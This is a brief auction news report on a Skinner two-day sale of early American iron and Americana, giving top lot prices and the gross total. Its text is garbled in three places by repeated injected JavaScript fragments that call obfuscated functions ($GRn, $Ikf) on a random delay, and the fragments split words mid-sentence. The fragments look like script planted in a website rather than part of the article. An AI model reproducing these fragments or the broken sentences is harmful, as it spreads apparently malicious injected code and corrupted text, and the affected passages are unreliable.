MARLBOROUGH, MASS. — It was a busy weekend at Skinner, with 232 lots of early American iron from the Howard Roth Collection sold on Saturday, August 9, followed by 537 lots of Americana on Sunday. And in addition, both iron andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Americana were being sold online.

Sculpture was popular at the Sunday sale, with the top lot a polychrome carved Indian princess tobacconist figure by Samuel Robb, New York City, late Nineteenth Century, the figure 57 inches tall, overall height 72 inches, selling for $92,250 including the buyer’s premium. Several lots later a life-size, polychrome walnut bear, probably Black Forest, Germany, late Nineteenth century, sold for $79,950, with premium. The bear had glass eyes, open mouth, old surface, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and measured 33 1/8 inches high, 57 inches long andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 18 inches deep.

The gross for the two-day sale, not including the online sale, was $2,038,756. A full review of the auction will be in a forthcoming issue.     

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